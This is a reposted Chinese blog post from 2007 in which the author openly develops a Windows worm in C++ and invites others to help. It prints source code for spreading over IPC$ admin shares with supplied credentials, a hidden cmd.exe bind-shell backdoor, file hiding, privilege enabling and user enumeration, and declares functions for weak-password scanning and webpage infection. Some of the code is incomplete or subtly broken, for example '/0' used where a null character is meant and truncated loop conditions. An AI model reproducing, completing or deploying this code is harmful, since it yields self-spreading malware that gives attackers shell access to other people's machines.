一起动手写蠕虫病毒(一)

作者：公子哥 來源：鷹緣社區 http://blog.sina.com.cn/u/4b3b2a1a0100080w

  by clin003 zhuan at 20070506 from:http://blog.csdn.net/clin003

申明:
所发代码均为测试代码，不保证代码的完整性。
其间或多有纰漏不足之处.待全部完成后我会整理调试好，
发布完整正确的代码。以下代码仅做为参考、阅读

今天终于下定决心要认认真真的写完一个病毒.我的目标是每天在这里写一点,让大家一起参与这个病毒的开发，在开发中不断的相互学习、成长，磨练技术..所谓集思广益,发挥群众的力量嘛-_-# ...有兴趣加入开发者可以联系我的QQ ： 158465120 。

以下是今天写的一点代码,,可能比较凌乱,难以入目,还请大家谅解!

主文件:9527.cpp

#include< windows.h >
#include< winnetwk.h >
#include< tchar.h >
#include
#include< stdio.h >
#pragma comment(lib,"mpr.lib")
#include "9527.h"



char * StringConnect(__w64 unsigned int nSize , char * src, ...)
{
va_list arg_ptr;
char * dst =(char *)malloc(nSize);
va_start(arg_ptr,src);
__w64 unsigned int inc = 0;
do {
for (;*src;++src) *(dst+inc++) = *src;
src = va_arg(arg_ptr,char*);
} while(src);
*(dst+inc) = '/0';
return ( dst );
}
BOOL IPCConnect(PIPCCONNECT pServer)
{
NETRESOURCE ns;
TCHAR buf[MAX_PATH];
wsprintf(buf," %s//ipc$",pServer->phost);
ZeroMemory(&ns,sizeof(ns));
ns.dwScope=RESOURCE_GLOBALNET;
ns.dwType=RESOURCETYPE_ANY;
ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
ns.lpLocalName="";
ns.lpRemoteName=buf;
ns.lpProvider=NULL;
ns.lpComment=NULL;
char * hhost = pServer->phost;
BOOL IpcConnect;
IpcConnect =WNetAddConnection2(&ns,pServer->ppass,pServer->pusr,0);
if(IpcConnect)
{
for (int i = ASCII_START ; i < ASCII_END ; i++)
{
char driveName[3]={(char)i,'$'};
//复制自身到可写共享
IpcConnect=CopyFile(pServer->pfile,
StringConnect(1024," ",pServer->phost,"//",driveName,"//",pServer->pfile),FALSE);
if(!IpcConnect)
{
/*文件复制失败!*/
}
else
{
/*成功则远程启动 */
return TRUE ;
}
}
return FALSE ;
}
else
{
/*连接失败*/
return FALSE ;
}
}
void main()
{}

9527.h

#include "structmain.h"
#define ASCII_START 65
#define ASCII_END 91
/* 连接字符串 */
char * StringObjectConnect(PSTRING_OBJECT_CONNECT ) ;
/* 根据索引ID返回链表中的元素 */
char * StringObjectSearchID(PSTRING_OBJECT_CONNECT , int );
/* 根据索引ID修改内存中数据 */
char * StringObjectSetID(PSTRING_OBJECT_CONNECT ,int ,char * );
/* IPC$连接 */
BOOL IPCConnect() ;
/* 获取Server时间 */
int GetServerDateTime(PTSTR server);
char * StringConnect(__w64 unsigned int , char * , ...) ;


structmain.h

#include "StringObject.h"
/* IPC$连接数据结构 */
typedef struct _IPCCONNECT
{
char * phost ;
char * pusr ;
char * ppass;
char * pfile ;
}IPCCONNECT,*PIPCCONNECT ;


StringObject.h

typedef char* elemtype ;
/* String 数据结构
需要对连接的字符串进行修改、叠加等..可用此链表结构
*/
typedef struct _STRING_OBJECT_CONNECT
{
elemtype data ;
_STRING_OBJECT_CONNECT * next ;
} STRING_OBJECT_CONNECT ,*PSTRING_OBJECT_CONNECT ;




PS:今天只写病毒通过IPC$传播部分.欲知下回，请耐心等待..-_-#

 

中午吃完饭,打了会CS，打成负数，输的太惨，NND手气太差了..
退出来花了点时间写了点代码,下面的各个函数会在以后的病毒编写中用到。。
有些函数的功能有类似的API可以完成，但是我的原则是能自己写出来就尽量不用API 。。

主文件新增函数:

char * GetTag(char * src , char tag)
{
while(*src)src++;
while(src--&&*src != tag);
return src ;
}
char * GetFilePath(char * src)
{
char * path = src;
int nSrc = 0 , nDst= 0;
while(*(path++)&&++nSrc);
while(*path!=92&&path--&&++nDst);
path = src;
path+= nSrc - nDst;
*path='/0';
return ( src ) ;
}
char * GetOsPath(char pOspath[])
{
GetWindowsDirectory(pOspath,_MAX_PATH);
return strcat(pOspath," //system32//");
}
int NetWorkTypes(int nFlag)
{
DWORD flags;
BOOL m_bOnline;
m_bOnline=InternetGetConnectedState(&flags,0);
if(m_bOnline)
{
if(flags & INTERNET_CONNECTION_MODEM)
return nFlag = 0;
if(flags & INTERNET_CONNECTION_LAN)
return nFlag = 1;
if(flags & INTERNET_CONNECTION_PROXY)
return nFlag = 2;
if(flags & INTERNET_CONNECTION_MODEM_BUSY)
return nFlag = 3;
}
return -1;
}
BOOL FileExists(LPCTSTR lpszFileName)
{
DWORD dwAttributes = GetFileAttributes(lpszFileName);
if (dwAttributes == 0xFFFFFFFF)
return FALSE;
if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY)
== FILE_ATTRIBUTE_DIRECTORY)
{
return FALSE;
}
else{
return TRUE;
}
}
//加入链表(字符串连接)
PSTRING_OBJECT_CONNECT StringObjectBuilder(PSTRING_OBJECT_CONNECT p ,
PSTRING_OBJECT_CONNECT q ,
__w64 unsigned int nSize ,
char * src, ...)
{
va_list arg_ptr;
char * dst =(char *)malloc(nSize);
va_start(arg_ptr,src);
__w64 unsigned int inc = 0;
do {
for (;*src;++src) *(dst+inc++) = *src;
src = va_arg(arg_ptr,char*);
} while(src);
*(dst+inc) = '/0';
p = (PSTRING_OBJECT_CONNECT)malloc(sizeof (PSTRING_OBJECT_CONNECT)) ;
p->data = dst ;
p->next = NULL;
q->next=p; /* 加入链表 */
q=q->next ; /* 指向下一个地址,实际上也是NULL,即p->next */
return q ;
}
//连接内存中各地址中的字符串(遍历链表数据)
char * StringObjectConnect(PSTRING_OBJECT_CONNECT head)
{
PSTRING_OBJECT_CONNECT p ;
p = head->next;
__w64 unsigned int nSize = 0;
while(p) {
nSize+=strlen(p->data);
p=p->next ;
}
char * dst = (char *)malloc(nSize);
p = head->next;
int n = 0;
while(p){
for (;*p->data;p->data++,n++) dst[n] = *p->data;
p=p->next ;
}
dst[n] = '/0';
return (dst);
}
//根据索引ID返回元素
char * StringObjectSearchID(PSTRING_OBJECT_CONNECT head, int nIndex)
{
PSTRING_OBJECT_CONNECT p ;
p = head->next;
int i = 0;
nIndex-=1 ;
while(p&&i
{
p=p->next;
i++;
}
if(!p&&i>nIndex)
return '/0';
else
return p->data ;
}
//根据索引ID修改内存中数据
char * StringObjectSetID(PSTRING_OBJECT_CONNECT head,int nIndex ,char * src)
{
PSTRING_OBJECT_CONNECT p ;
p = head->next;
int i = 0;
nIndex-=1 ;
while(p&&i
{
p=p->next;
i++;
}
if(!p&&i>nIndex)
return '/0';
char * cp = p->data;
while( *cp++ = *src++ );
return( p->data );
}

函数申明:
9527.h

/* 获取标志信息,本程序中主要用来获取扩展名 */
char * GetTag(char * , char ) ;
/* 根据文件绝对路径取得文件所在目录 */
char * GetFilePath(char * );
/* 取得系统路径 */
char * GetOsPath(char []);
/* 取得当前机器上网类型 */
int NetWorkTypes(int );
/* 检查文件是否存在 */
BOOL FileExists(LPCTSTR ) ;

ps:晚上回去写内网扫描部分，争取晚上能发点代码上来-_-#

 

（待續）
by clin003 zhuan at 20070506 from:http://blog.csdn.net/clin003
---------------------------
贴零晨写的代码-_-#

主文件新增头文件:

#pragma comment(lib,"sfc.lib" )
#pragma comment(lib,"WS2_32")
#pragma comment(lib,"Iphlpapi.lib")
#pragma comment(lib,"netapi32")

新增函数:

void OpenCmdShell()
{
WSADATA wsaData;
SOCKET m_socket,AcceptClient;
sockaddr_in Service,Client;
int ClientSize,i=0;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
return;
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(m_socket==SOCKET_ERROR)
return;
Service.sin_family = AF_INET;
Service.sin_addr.s_addr = htonl(INADDR_ANY);
Service.sin_port = htons( PORT );
if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
return;
if (listen(m_socket,5)==SOCKET_ERROR)
return;
ClientSize=sizeof(Client);
while(1)
{
AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
if(AcceptClient==SOCKET_ERROR)
return;
printf( "Client Connected./n");
char *sendbuf = "/***************************************///n9527 By:M80 /n";
send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
printf("Create Thread Error!/n");
Sleep(1000);
}
WSACleanup();
closesocket(AcceptClient);
return;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;
SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;
ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道，分别用于接收命令和显示结果
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;
char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
strcat(cmdline,(" //cmd.exe"));
PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
Sleep(100);
PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
if(ByteRec)
{
ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
//memset(Buf, 0, sizeof(Buf)); //清空缓冲区
ret=send(AcceptClient,Buf,ByteRec,0);
if(ret<=0)
break;
}
else
{
ByteRec=recv(AcceptClient,Buf,1024,0);
if(ByteRec<=0)
break;
ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
if(!ret)
break;
}
}
return 0;
}
BOOL IsProtectedFile(char * pFile)
{
unsigned short wszFileName[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pFile, -1, wszFileName, MAX_PATH);
return SfcIsFileProtected(NULL, wszFileName);
}
BOOL OperationFile(char * pFile)
{
return SetFileAttributes(pFile ,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM );
}
BOOL EnablePrivilege(LPCTSTR lpSystemName,LPCTSTR lpName)
{
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
if(!LookupPrivilegeValue(lpSystemName,lpName,&tp.Privileges[0].Luid))
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
int UsersList(LPCWSTR server)
{
PNET_DISPLAY_USER pBuf,pBuffer;
DWORD nStatus;
DWORD dwRec;
DWORD i=0;
DWORD dwLevel;
dwLevel=1;
do
{
nStatus=NetQueryDisplayInformation
(server,dwLevel,i,100,0xFFFFFFFF,&dwRec,(PVOID *)&pBuf);
if((nStatus==ERROR_SUCCESS) || (nStatus==ERROR_MORE_DATA))
{
pBuffer=pBuf;
for(;dwRec>0;dwRec--)
{
i=pBuffer->usri1_next_index;
pBuffer++;
/* 待实现 */
}
}
else
{
/* 待实现 */
}
if(pBuf!=NULL)
{
NetApiBufferFree(pBuf);
}
}
while(nStatus==ERROR_MORE_DATA);
return 0;
}

9527.h

/* 检查是否系统文件 */
BOOL IsProtectedFile(char * );
/* 设置文件属性 */
BOOL OperationFile(char * );
/* 客户端线程 */
DWORD WINAPI ClientThread(LPVOID );
/* 开启CMDSHELL后门 */
void OpenCmdShell();
/* 探测远程主机用户列表 */
int UsersList(LPCWSTR ) ;
/* 权限提升 */
BOOL EnablePrivilege(LPCTSTR ,LPCTSTR );
/* NT系统弱口令扫描 */
BOOL ScanServer(char * server);
/* 感染网页文件 */
BOOL SetWeb(char *);